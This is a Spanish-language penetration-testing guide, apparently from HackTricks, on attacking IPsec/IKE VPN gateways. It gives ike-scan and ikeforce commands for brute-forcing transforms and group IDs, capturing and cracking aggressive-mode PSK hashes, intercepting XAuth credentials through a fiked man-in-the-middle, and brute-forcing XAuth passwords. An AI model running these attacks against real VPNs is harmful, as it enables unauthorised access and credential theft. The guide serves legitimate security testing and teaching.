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# 500/udp - Pentesting IPsec/IKE VPN
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**Grupo de Seguridad Try Hard**
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<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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## Información Básica
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**IPsec** es ampliamente reconocido como la tecnología principal para asegurar comunicaciones entre redes (LAN a LAN) y de usuarios remotos al gateway de red (acceso remoto), sirviendo como la base para soluciones de VPN empresariales.
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El establecimiento de una **asociación de seguridad (SA)** entre dos puntos es gestionado por **IKE**, que opera bajo el paraguas de ISAKMP, un protocolo diseñado para la autenticación e intercambio de claves. Este proceso se desarrolla en varias fases:
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* **Fase 1:** Se crea un canal seguro entre dos puntos. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea modo principal, que implica tres pares de mensajes, o **modo agresivo**.
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* **Fase 1.5:** Aunque no es obligatoria, esta fase, conocida como la Fase de Autenticación Extendida, verifica la identidad del usuario que intenta conectarse al requerir un nombre de usuario y contraseña.
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* **Fase 2:** Esta fase se dedica a negociar los parámetros para asegurar datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para garantizar **Secreto Directo Perfecto (PFS)**, mejorando la seguridad.
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**Puerto predeterminado:** 500/udp
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## **Descubre** el servicio usando nmap
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```
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root@bt:~# nmap -sU -p 500 172.16.21.200
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Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
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Nmap scan report for 172.16.21.200
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Host is up (0.00036s latency).
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PORT STATE SERVICE
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500/udp open isakmp
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MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
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```
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## **Encontrar una transformación válida**
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La configuración de IPSec puede estar preparada para aceptar solo una o unas pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene un número de atributos como DES o 3DES como el algoritmo de **encriptación**, SHA o MD5 como el algoritmo de **integridad**, una clave precompartida como el tipo de **autenticación**, Diffie-Hellman 1 o 2 como el algoritmo de **distribución de clave** y 28800 segundos como el **tiempo de vida**.
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Entonces, lo primero que debes hacer es **encontrar una transformación válida**, para que el servidor pueda comunicarse contigo. Para hacerlo, puedes usar la herramienta **ike-scan**. Por defecto, Ike-scan trabaja en modo principal, y envía un paquete al gateway con un encabezado ISAKMP y una sola propuesta con **ocho transformaciones dentro**.
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Dependiendo de la respuesta, puedes obtener información sobre el punto final:
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```
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root@bt:~# ike-scan -M 172.16.21.200
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Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
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172.16.21.200 Main Mode Handshake returned
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HDR=(CKY-R=d90bf054d6b76401)
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SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
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VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
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Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
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```
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Como puedes ver en la respuesta anterior, hay un campo llamado **AUTH** con el valor **PSK**. Esto significa que la VPN está configurada utilizando una clave precompartida (lo cual es realmente bueno para un pentester).\
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**El valor de la última línea también es muy importante:**
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* _0 returned handshake; 0 returned notify:_ Esto significa que el objetivo **no es una puerta de enlace IPsec**.
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* _**1 returned handshake; 0 returned notify:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y uno o más de los transformados que propusiste son aceptables** (se mostrará un transformado válido en la salida).
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* _0 returned handshake; 1 returned notify:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguno de los transformados es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).
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Entonces, en este caso ya tenemos un transformado válido, pero si te encuentras en el tercer caso, entonces necesitas **probar un poco para encontrar un transformado válido:**
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En primer lugar, necesitas crear todas las posibles transformaciones:
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```bash
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for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
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```
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Y luego realizar fuerza bruta en cada uno utilizando ike-scan (esto puede llevar varios minutos):
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```bash
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while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
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```
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Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiendo sin realizar apretones de manos incluso a transformaciones válidas. En ese caso, podrías intentar el mismo ataque de fuerza bruta pero utilizando el modo agresivo:
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```bash
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while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
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```
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Con suerte **se refleja una transformación válida**.\
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Puedes intentar el **mismo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
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También podrías intentar forzar transformaciones con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
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```bash
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./ikeforce.py <IP> # No parameters are required for scan -h for additional help
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```
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.png>)
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En **Grupo DH: 14 = MODP de 2048 bits** y **15 = 3072 bits**\
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**2 = HMAC-SHA = SHA1 (en este caso). El formato `--trans` es $Enc,$Hash,$Auth,$DH**
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Cisco indica evitar el uso de los grupos DH 1 y 2 porque no son lo suficientemente fuertes. Los expertos creen que **los países con muchos recursos pueden romper fácilmente la encriptación** de datos que utilizan estos grupos débiles. Esto se logra mediante un método especial que los prepara para descifrar los códigos rápidamente. Aunque cuesta mucho dinero configurar este método, permite a estos países poderosos leer los datos encriptados en tiempo real si se está utilizando un grupo que no es fuerte (como 1,024 bits o menos).
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### Identificación del servidor
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Luego, puedes usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de retransmitir. Luego, **analizará** la **diferencia de tiempo** entre los **mensajes recibidos** del servidor y el patrón de respuesta coincidente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la carga útil opcional del **Identificador de proveedor (VID)** con IKE.
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**Especificar la transformación válida si es necesario** (usando --trans)
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Si IKE descubre cuál es el proveedor, lo imprimirá:
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```
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root@bt:~# ike-scan -M --showbackoff 172.16.21.200
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Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
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172.16.21.200 Main Mode Handshake returned
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HDR=(CKY-R=4f3ec84731e2214a)
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SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
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VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
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IKE Backoff Patterns:
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IP Address No. Recv time Delta Time
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172.16.21.200 1 1322286031.744904 0.000000
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172.16.21.200 2 1322286039.745081 8.000177
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172.16.21.200 3 1322286047.745989 8.000908
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172.16.21.200 4 1322286055.746972 8.000983
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172.16.21.200 Implementation guess: Cisco VPN Concentrator
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Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
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```
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Esto también se puede lograr con el script de nmap _**ike-version**_
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## Encontrar el ID correcto (nombre de grupo)
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Para poder capturar el hash necesitas una transformación válida que admita el modo Agresivo y el ID correcto (nombre de grupo). Probablemente no sepas el nombre de grupo válido, por lo que tendrás que probarlo por fuerza bruta.\
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Para hacerlo, te recomendaría 2 métodos:
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### Fuerza bruta del ID con ike-scan
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En primer lugar, intenta hacer una solicitud con un ID falso para intentar recopilar el hash ("-P"):
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```bash
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ike-scan -P -M -A -n fakeID <IP>
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```
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Si **no se devuelve ningún hash**, entonces probablemente este método de fuerza bruta funcionará. **Si se devuelve algún hash, esto significa que se enviará un hash falso para un ID falso, por lo que este método no será confiable** para realizar fuerza bruta en el ID. Por ejemplo, podría devolverse un hash falso (esto ocurre en versiones modernas):
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.png>)
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Pero como he dicho, si no se devuelve ningún hash, entonces debes intentar realizar fuerza bruta en nombres de grupo comunes usando ike-scan.
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Este script **intentará realizar fuerza bruta en posibles IDs** y devolverá los IDs donde se devuelve un handshake válido (esto será un nombre de grupo válido).
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Si has descubierto una transformación específica, agrégala en el comando ike-scan. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (debes probarlas todas hasta que una de ellas funcione correctamente).
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Puedes usar el [diccionario de ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [el de seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nombres de grupo comunes para realizar fuerza bruta en ellos:
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```bash
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while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
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```
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### Fuerza bruta de ID con Iker
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[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para realizar fuerza bruta de posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.
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### Fuerza bruta de ID con ikeforce
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[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede utilizar para **realizar fuerza bruta de IDs también**. Esta herramienta intentará **explotar diferentes vulnerabilidades** que podrían ser utilizadas para **distinguir entre un ID válido y uno no válido** (puede haber falsos positivos y falsos negativos, por eso prefiero usar el método de ike-scan si es posible).
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Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para verificar el comportamiento del servidor y determinar la táctica a utilizar.
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* El **primer método** es realizar fuerza bruta de los nombres de grupo **buscando** la información de **Dead Peer Detection DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre del grupo es correcto).
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* El **segundo método** disponible es **verificar el número de respuestas enviadas en cada intento** porque a veces se envían más paquetes cuando se utiliza el ID correcto.
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* El **tercer método** consiste en **buscar "INVALID-ID-INFORMATION" en respuesta a un ID incorrecto**.
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* Finalmente, si el servidor no responde a las verificaciones, **ikeforce** intentará realizar fuerza bruta en el servidor y verificar si cuando se envía el ID correcto, el servidor responde con algún paquete.\
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Obviamente, el objetivo de la fuerza bruta del ID es obtener la **PSK** cuando se tiene un ID válido. Luego, con el **ID** y la **PSK**, deberás realizar fuerza bruta en el XAUTH (si está habilitado).
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Si has descubierto una transformación específica, agrégala en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
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```bash
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git clone https://github.com/SpiderLabs/ikeforce.git
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pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
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```
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```bash
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./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
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```
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### Intercepción de ID
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(From the book **Network Security Assessment: Know Your Network**): También es posible obtener nombres de usuario válidos al interceptar la conexión entre el cliente VPN y el servidor, ya que el primer paquete de modo agresivo que contiene el ID del cliente se envía en texto claro
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.png>)
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## Captura y descifrado del hash
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Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo** y si el **modo agresivo está permitido**, entonces puedes capturar fácilmente el hash que se puede descifrar:
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```bash
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ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
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```
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El hash se guardará dentro de _hash.txt_.
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Puedes usar **psk-crack**, **john** (utilizando [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) y **hashcat** para **descifrar** el hash:
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```bash
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psk-crack -d <Wordlist_path> psk.txt
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```
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## **XAuth**
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**El modo Agresivo IKE** combinado con una **Clave Precompartida (PSK)** se emplea comúnmente para fines de **autenticación de grupo**. Este método se ve reforzado por **XAuth (Autenticación Extendida)**, que sirve para introducir una capa adicional de **autenticación de usuario**. Esta autenticación suele aprovechar servicios como **Microsoft Active Directory**, **RADIUS**, u otros sistemas comparables.
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Al pasar a **IKEv2**, se observa un cambio notable donde se utiliza **EAP (Protocolo de Autenticación Extensible)** en lugar de **XAuth** con el fin de autenticar a los usuarios. Este cambio destaca una evolución en las prácticas de autenticación dentro de los protocolos de comunicación segura.
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### Ataque Man-in-the-Middle en la red local para capturar credenciales
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Así puedes capturar los datos del inicio de sesión utilizando _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el espionaje, lo cual se puede hacer con la ayuda de suplantación de ARP, [más información](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales XAuth:
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```bash
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fiked -g <IP> -k testgroup:secretkey -l output.txt -d
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```
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### Realizando un ataque de MitM y bloqueando todo el tráfico al puerto 500 usando IPSec
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También, utilizando IPSec, intenta realizar un ataque de MitM y bloquear todo el tráfico al puerto 500. Si el túnel IPSec no puede establecerse, es posible que el tráfico se envíe en texto claro.
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### Fuerza bruta de nombre de usuario y contraseña XAUTH con ikeforce
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Para realizar fuerza bruta en el **XAUTH** (cuando conoces un nombre de grupo válido **id** y el **psk**), puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
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```bash
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./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
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```
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```plaintext
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De esta manera, ikeforce intentará conectarse utilizando cada combinación de nombre de usuario: contraseña.
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Si encontraste uno o varios transformados válidos, simplemente úsalos como en los pasos anteriores.
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## Autenticación con una VPN IPSEC
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En Kali, **VPNC** se utiliza para establecer túneles IPsec. Los **perfiles** deben estar ubicados en el directorio `/etc/vpnc/`. Puedes iniciar estos perfiles utilizando el comando _**vpnc**_.
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Los siguientes comandos y configuraciones ilustran el proceso de configuración de una conexión VPN con VPNC:
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```
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|
```bash
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|
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
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|
IPSec gateway [VPN_GATEWAY_IP]
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IPSec ID [VPN_CONNECTION_ID]
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IPSec secret [VPN_GROUP_SECRET]
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IKE Authmode psk
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Xauth username [VPN_USERNAME]
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Xauth password [VPN_PASSWORD]
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|
STOP
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|
root@system:~# vpnc samplevpn
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|
VPNC started in background (pid: [PID])...
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|
root@system:~# ifconfig tun0
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```
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En esta configuración:
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* Reemplace `[VPN_GATEWAY_IP]` con la dirección IP real del gateway VPN.
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* Reemplace `[VPN_CONNECTION_ID]` con el identificador de la conexión VPN.
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* Reemplace `[VPN_GROUP_SECRET]` con el secreto de grupo de la VPN.
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|
* Reemplace `[VPN_USERNAME]` y `[VPN_PASSWORD]` con las credenciales de autenticación de la VPN.
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|
* `[PID]` simboliza el ID de proceso que se asignará cuando `vpnc` se inicie.
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Asegúrese de utilizar valores reales y seguros para reemplazar los marcadores de posición al configurar la VPN.
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## Material de Referencia
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* [Documento de cracking de PSK](http://www.ernw.de/download/pskattack.pdf)
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|
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
|
* [Escaneando una Implementación de VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
|
* Evaluación de Seguridad de Red 3ra Edición
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## Shodan
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* `port:500 IKE`
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**Grupo de Seguridad Try Hard**
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<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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<details>
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<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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